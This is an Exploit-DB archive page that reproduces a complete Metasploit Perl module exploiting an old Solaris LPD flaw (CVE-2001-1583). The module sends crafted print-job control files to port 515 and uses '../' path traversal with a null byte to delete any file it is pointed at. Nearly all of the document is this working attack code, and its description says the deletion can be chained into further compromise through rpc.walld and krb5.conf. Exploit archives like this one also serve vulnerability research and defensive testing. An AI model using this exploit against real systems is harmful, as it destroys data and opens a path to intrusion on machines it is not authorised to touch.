Solaris <= 10 LPD Arbitrary File Delete Exploit metasploit

2005-08-19T00:00:00
ID EDB-ID:1167
Type exploitdb
Reporter Optyx
Modified 2005-08-19T00:00:00

Description

Solaris <= 10 LPD Arbitrary File Delete Exploit (metasploit). CVE-2001-1583. Remote exploit for solaris platform

                                        
                                            ##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::solaris_lpd_unlink;
use base "Msf::Exploit";
use IO::Socket;
use IO::Select;
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {
	'Name'		=&gt; 'Solaris LPD Arbitrary File Delete',
	'Version'	=&gt; '$Revision: 1.6 $',
	'Authors'	=&gt;
	  [
		'H D Moore &lt;hdm [at] metasploit.com&gt;',
		'Optyx &lt;optyx [at] uberhax0r.net&gt;'
	  ],

	'Arch'		=&gt; [ ],
	'OS'		=&gt; [ 'solaris' ],

	'UserOpts'  =&gt;
	  {
		'RHOST' =&gt; [1, 'ADDR', 'The target address'],
		'RPORT' =&gt; [1, 'PORT', 'The LPD server port', 515],
		'RPATH' =&gt; [1, 'DATA', 'The remote path name to delete'],
	  },

	'Description'  =&gt; Pex::Text::Freeform(qq{
		This module uses a vulnerability in the Solaris line printer daemon
	to delete arbitrary files on an affected system. This can be used to exploit
	the rpc.walld format string flaw, the missing krb5.conf authentication bypass,
	or simple delete system files. Tested on Solaris 2.6, 7, 8, 9, and 10. 
}),

	'Refs'  =&gt;
	  [
		['URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-26-101842-1'],
	  ],

	'DefaultTarget' =&gt; 0,
	'Targets' =&gt; [['No Target Needed']],

	'Keys'  =&gt; ['lpd'],
  };

sub new {
	my $class = shift;
	my $self = $class-&gt;SUPER::new({'Info' =&gt; $info, 'Advanced' =&gt; $advanced}, @_);
	return($self);
}

sub Exploit {
	my $self = shift;
	my $target_host = $self-&gt;GetVar('RHOST');
	my $target_port = $self-&gt;GetVar('RPORT');
	my $target_path = $self-&gt;GetVar('RPATH');
	my $res;

	# We use one connection to configure the spool directory
	my $s = Msf::Socket::Tcp-&gt;new
	  (
		'PeerAddr'  =&gt; $target_host,
		'PeerPort'  =&gt; $target_port,
		'LocalPort' =&gt; $self-&gt;GetVar('CPORT'),
		'SSL'       =&gt; $self-&gt;GetVar('SSL'),
	  );
	if ($s-&gt;IsError) {
		$self-&gt;PrintLine('[*] Error creating socket: ' . $s-&gt;GetError);
		return;
	}

	# Send a job request that will trigger the cascade adaptor (thanks Dino!)
	$s-&gt;Send("\x02"."metasploit:framework\n");
	$res = $s-&gt;Recv(1, 5);
	if (ord($res) != 0) {
		$self-&gt;PrintLine("[*] The target did not accept our job request command");
		return;
	}

	# The job ID is squashed down to three decimal digits
	my $jid = ($$ % 1000).unpack("H*",pack('N', time() + $$));

	# Create a simple control file...
	my $control = "Hmetasploit\nPr00t\n";

	# Theoretically, we could delete multiple files at once, however
	# the lp daemon will append garbage from memory to the path name
	# if we don't stick a null byte after the path. Unfortunately, this
	# null byte will prevent the parser from processing the other paths.
	$control .= "U".("../" x 10)."$target_path\x00\n";

	my $dataf = "http://metasploit.com/\n";

	$self-&gt;PrintLine("[*] Sending the malicious cascaded job request...");
	if ( ! $self-&gt;SendFile($s, 2, "cfA".$jid."metasploit", $control) ||
		! $self-&gt;SendFile($s, 3, "dfa".$jid."metasploit", $dataf)  ||
		0
	  ) { $s-&gt;Close; return }

	$self-&gt;PrintLine('');
	$self-&gt;PrintLine("[*] Successfully deleted $target_path &gt;:-]");
	return;
}

sub SendFile {
	my $self = shift;
	my $sock = shift;
	my $type = shift;
	my $name = shift;
	my $data = shift;

	$sock-&gt;Send(chr($type) .length($data). " $name\n");
	my $res = $sock-&gt;Recv(1, 5);
	if (ord($res) != 0) {
		$self-&gt;PrintLine("[*] The target did not accept our control file command ($name)");
		return;
	}

	$sock-&gt;Send($data);
	$sock-&gt;Send("\x00");
	$res = $sock-&gt;Recv(1, 5);
	if (ord($res) != 0) {
		$self-&gt;PrintLine("[*] The target did not accept our control file data ($name)");
		return;
	}

	$self-&gt;PrintLine(sprintf("[*]     Uploaded %.4d bytes &gt;&gt; $name", length($data)));
	return 1;
}

1;

# milw0rm.com [2005-08-19]